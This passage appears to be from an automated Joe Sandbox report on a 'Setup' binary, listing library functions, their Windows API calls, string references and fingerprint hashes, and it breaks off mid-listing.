Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: ClassH_prolog3LongNameWindow
String ID: ComboBox$ComboBoxEx32
API String ID: 297531199-1907415764
Opcode ID: 440c517769e9982bb4fe3394de3a27ad3fd7612f8df3972c84deb713cd4a3305
Instruction ID: 127b31e812be30f8c28adfa814b4ce1a5549a7e96fc7a3b4eab07f9788a63743
Opcode Fuzzy Hash: 440c517769e9982bb4fe3394de3a27ad3fd7612f8df3972c84deb713cd4a3305
Instruction Fuzzy Hash: B701C076805116BADB00FBA0CC52FEEB3A4FF12724F180659F110625E2DF35A905DBA5

Function 00B86A02 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 50libraryfileloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00B86A15
GetProcAddress.KERNEL32(00000000,CreateFileTransactedW), ref: 00B86A25
CreateFileW.KERNEL32(?,?,?,?,?,?,00000000), ref: 00B86A6E

Strings

kernel32.dll, xrefs: 00B86A10
CreateFileTransactedW, xrefs: 00B86A1F

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: AddressCreateFileHandleModuleProc
String ID: CreateFileTransactedW$kernel32.dll
API String ID: 2580138172-2053874626
Opcode ID: 09c825f555677398fc99d038d22355c5b46215372e6fc9709d5dc2cfbdfbb647
Instruction ID: 5084f4954b2fa2241a52a326c90150ed13e43e9d427a532e4eb6348bd36e9fcf
Opcode Fuzzy Hash: 09c825f555677398fc99d038d22355c5b46215372e6fc9709d5dc2cfbdfbb647
Instruction Fuzzy Hash: FE010C32501149FFCF1A6F94DD44DAA3FBAFB48391714852AFA6161170C772CC61EB61

Function 00B793CF Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Advapi32.dll), ref: 00B793F7
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00B79407

Part of subcall function 00B6A1A0: GetModuleHandleW.KERNEL32(Advapi32.dll,?), ref: 00B6A1B3
Part of subcall function 00B6A1A0: GetProcAddress.KERNEL32(00000000,RegDeleteKeyTransactedW), ref: 00B6A1C3

Strings

Advapi32.dll, xrefs: 00B793F2
RegDeleteKeyExW, xrefs: 00B79401

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Advapi32.dll$RegDeleteKeyExW
API String ID: 1646373207-2191092095
Opcode ID: 376268ea28ad57a751cc09172d286ebaedfcb287c885804993181552319dc9ae
Instruction ID: 9543ed4d9d78cd423913540237bc8312e8de2f48aa319c3f5b0afa19cce97910
Opcode Fuzzy Hash: 376268ea28ad57a751cc09172d286ebaedfcb287c885804993181552319dc9ae
Instruction Fuzzy Hash: BA019E35605314ABDB324B52EC44B9CBFA5FB18B40B24C066E519A2360CB619C12DBA1

Function 00B7789B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 37libraryloaderCOMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(00000000), ref: 00B778D4

Part of subcall function 00B6F959: GetModuleHandleW.KERNEL32(kernel32.dll,?,00000000), ref: 00B6F97F
Part of subcall function 00B6F959: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00B6F98F
Part of subcall function 00B6F959: EncodePointer.KERNEL32(00000000,?,00000000), ref: 00B6F998

GetProcAddress.KERNEL32(00000000,DwmDefWindowProc), ref: 00B778BD
EncodePointer.KERNEL32(00000000), ref: 00B778C6

Strings

dwmapi.dll, xrefs: 00B778A8
DwmDefWindowProc, xrefs: 00B778B7

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Pointer$AddressEncodeProc$DecodeHandleModule
String ID: DwmDefWindowProc$dwmapi.dll
API String ID: 1102202064-234806475
Opcode ID: c216e4ee3ab8a76f1ec0e6e6ba00cdbce27678e341f1df40baf206c893c3f6c8
Instruction ID: 89239cf84b860fde2bd72e6bd2efb7241a5cce72f582a3d628de9b3be0867f2b
Opcode Fuzzy Hash: c216e4ee3ab8a76f1ec0e6e6ba00cdbce27678e341f1df40baf206c893c3f6c8
Instruction Fuzzy Hash: EDF01D7554A716AB8B212FA5EC18A6E7FA9AF087507048572FD19E2220DE30C911DBF2

Function 00B779BB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(00000000), ref: 00B779F4

Part of subcall function 00B6F959: GetModuleHandleW.KERNEL32(kernel32.dll,?,00000000), ref: 00B6F97F
Part of subcall function 00B6F959: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00B6F98F
Part of subcall function 00B6F959: EncodePointer.KERNEL32(00000000,?,00000000), ref: 00B6F998

GetProcAddress.KERNEL32(00000000,DwmSetIconicLivePreviewBitmap), ref: 00B779DD
EncodePointer.KERNEL32(00000000), ref: 00B779E6

Strings

DwmSetIconicLivePreviewBitmap, xrefs: 00B779D7
dwmapi.dll, xrefs: 00B779C8

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Pointer$AddressEncodeProc$DecodeHandleModule
String ID: DwmSetIconicLivePreviewBitmap$dwmapi.dll
API String ID: 1102202064-1757063745
Opcode ID: 1d5b53b070429c012e33de9061a25ee45188f88a9dc0f597eb493f0d7c235e17
Instruction ID: 0d32e1cb7ada26de45f5ce659714cd28820ce203a0656a1248739ea603f70f6b
Opcode Fuzzy Hash: 1d5b53b070429c012e33de9061a25ee45188f88a9dc0f597eb493f0d7c235e17
Instruction Fuzzy Hash: 9BF09072586656BB9B116BA4AC08A6E7FE8EB047507008462FD19E2220CE34CE119BF1

Function 00B77A82 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(00000000), ref: 00B77ABB

Part of subcall function 00B6F959: GetModuleHandleW.KERNEL32(kernel32.dll,?,00000000), ref: 00B6F97F
Part of subcall function 00B6F959: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00B6F98F
Part of subcall function 00B6F959: EncodePointer.KERNEL32(00000000,?,00000000), ref: 00B6F998

GetProcAddress.KERNEL32(00000000,DwmSetWindowAttribute), ref: 00B77AA4
EncodePointer.KERNEL32(00000000), ref: 00B77AAD

Strings

dwmapi.dll, xrefs: 00B77A8F
DwmSetWindowAttribute, xrefs: 00B77A9E

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Pointer$AddressEncodeProc$DecodeHandleModule
String ID: DwmSetWindowAttribute$dwmapi.dll
API String ID: 1102202064-3105884578
Opcode ID: 4d117366e065d6ff7871964d2a7f802a09982aa1d6b3dd25c043a3ccac4c54e9
Instruction ID: 9914d615641f581826da379ce70f8e8b7795101ddf0ea6faa40d2e7feb88b63d
Opcode Fuzzy Hash: 4d117366e065d6ff7871964d2a7f802a09982aa1d6b3dd25c043a3ccac4c54e9
Instruction Fuzzy Hash: 72F0B471545A16BB9B215F68EC08E6E7FE8EB087503008062FD19D2234DE30CE019BB1

Function 00B7795C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35libraryloaderCOMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(00000000), ref: 00B77995

Part of subcall function 00B6F959: GetModuleHandleW.KERNEL32(kernel32.dll,?,00000000), ref: 00B6F97F
Part of subcall function 00B6F959: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00B6F98F
Part of subcall function 00B6F959: EncodePointer.KERNEL32(00000000,?,00000000), ref: 00B6F998

GetProcAddress.KERNEL32(00000000,DwmIsCompositionEnabled), ref: 00B7797E
EncodePointer.KERNEL32(00000000), ref: 00B77987

Strings

dwmapi.dll, xrefs: 00B77969
DwmIsCompositionEnabled, xrefs: 00B77978

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Pointer$AddressEncodeProc$DecodeHandleModule
String ID: DwmIsCompositionEnabled$dwmapi.dll
API String ID: 1102202064-1198327662
Opcode ID: 6b8f5ed14e6b8fea946ec9b2bb0bb2fa8772eb5c44fe6feba44777827ae3a05d
Instruction ID: 34127bb12a5c894033bf645616e250fc2d7d972050be8f5a4ee03960e06a77a4
Opcode Fuzzy Hash: 6b8f5ed14e6b8fea946ec9b2bb0bb2fa8772eb5c44fe6feba44777827ae3a05d
Instruction Fuzzy Hash: 62F05E31556711BBD7222B68AC48B6E7BE8DB0875170080A2FD09D6360DE34DD018AB5

Function 00B77A20 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35libraryloaderCOMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(00000000), ref: 00B77A59

Part of subcall function 00B6F959: GetModuleHandleW.KERNEL32(kernel32.dll,?,00000000), ref: 00B6F97F
Part of subcall function 00B6F959: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00B6F98F
Part of subcall function 00B6F959: EncodePointer.KERNEL32(00000000,?,00000000), ref: 00B6F998

GetProcAddress.KERNEL32(00000000,DwmSetIconicThumbnail), ref: 00B77A42
EncodePointer.KERNEL32(00000000), ref: 00B77A4B

Strings

dwmapi.dll, xrefs: 00B77A2D
DwmSetIconicThumbnail, xrefs: 00B77A3C

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Pointer$AddressEncodeProc$DecodeHandleModule
String ID: DwmSetIconicThumbnail$dwmapi.dll
API String ID: 1102202064-2331651847
Opcode ID: b1d7c603519e21271dcd381f70d7df9e3f104b0fad60a1a2f4027c207143e523
Instruction ID: 1c831b98ba6d06d6b3d061f117338bed786ed0e52189c98b0b14c922186fad04
Opcode Fuzzy Hash: b1d7c603519e21271dcd381f70d7df9e3f104b0fad60a1a2f4027c207143e523
Instruction Fuzzy Hash: 52F0E975585712BB9B216B74AC08B3E7FD8AB147913008073FD19D2320DF30CE014AE1

Function 00B77900 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 33libraryloaderCOMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(00000000), ref: 00B77939

Part of subcall function 00B6F959: GetModuleHandleW.KERNEL32(kernel32.dll,?,00000000), ref: 00B6F97F
Part of subcall function 00B6F959: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00B6F98F
Part of subcall function 00B6F959: EncodePointer.KERNEL32(00000000,?,00000000), ref: 00B6F998

GetProcAddress.KERNEL32(00000000,DwmInvalidateIconicBitmaps), ref: 00B77922
EncodePointer.KERNEL32(00000000), ref: 00B7792B

Strings

dwmapi.dll, xrefs: 00B7790D
DwmInvalidateIconicBitmaps, xrefs: 00B7791C

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Pointer$AddressEncodeProc$DecodeHandleModule
String ID: DwmInvalidateIconicBitmaps$dwmapi.dll
API String ID: 1102202064-1901905683
Opcode ID: cc961ff748f0ad9da9c906e5b31ae62d1d08a7c310ef0f344615a22efd56ab80
Instruction ID: 95dcc7485ab30f392dbebe20117f7b9681b672cb112591a464bc9537b43b217a
Opcode Fuzzy Hash: cc961ff748f0ad9da9c906e5b31ae62d1d08a7c310ef0f344615a22efd56ab80
Instruction Fuzzy Hash: 6AF0A07158B763BB97112764AC0CB3D7BD89A1479431480B3FF19E2360DE68CD0546F1

Function 00CB8885 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 31libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,00CB887A,?,?,00CB8842,?,00000000,?), ref: 00CB889A
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00CB88AD
FreeLibrary.KERNEL32(00000000,?,?,00CB887A,?,?,00CB8842,?,00000000,?), ref: 00CB88D0

Strings

CorExitProcess, xrefs: 00CB88A5
mscoree.dll, xrefs: 00CB8893

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: b6ba44637629c88257e1222912dd62081c5de97bbe4a209293fdbf2d847cebc1
Instruction ID: 6e0fe91103c66ba4b29b7568fa92d7ca9c8ce09765be867b8b7ff1bde197a843
Opcode Fuzzy Hash: b6ba44637629c88257e1222912dd62081c5de97bbe4a209293fdbf2d847cebc1
Instruction Fuzzy Hash: 44F0FE31902218FBDB229B51DD09BADBF6CEB04755F500176F914A11A0DB758F04DA92

Function 00B9B17E Relevance: 7.9, APIs: 5, Instructions: 369COMMON

Download Yara Rule

APIs

SetRectEmpty.USER32(?), ref: 00B9B1A0
SetRectEmpty.USER32(?), ref: 00B9B234
GetClientRect.USER32(?,00000000), ref: 00B9B3E3
SetRectEmpty.USER32(?), ref: 00B9B55F

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$Empty$Client
String ID:
API String ID: 1457177775-0
Opcode ID: 5687d2e6b6ed136eecebe07858c840dbec93d6821c1197bd643c9f00b3b4d04f
Instruction ID: ec4f40f027aea5458b46781c1dc8caa24beefe795bad85718bbf216016a97920
Opcode Fuzzy Hash: 5687d2e6b6ed136eecebe07858c840dbec93d6821c1197bd643c9f00b3b4d04f
Instruction Fuzzy Hash: 01E10771900619CFCF15CFA8DA94AAEB7F2FF49310F2581A9E805BB251D771AD42CB90

Function 00B937B3 Relevance: 7.8, APIs: 5, Instructions: 281COMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00B937BA
_strlen.LIBCMT ref: 00B937EB

Part of subcall function 00B6706E: _memcpy_s.LIBCMT ref: 00B6707D

Part of subcall function 00B94731: __EH_prolog3.LIBCMT ref: 00B94738
Part of subcall function 00B94731: VariantChangeType.OLEAUT32(?,?,00000000,0000000D), ref: 00B947D8

VariantClear.OLEAUT32(?), ref: 00B939FA

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
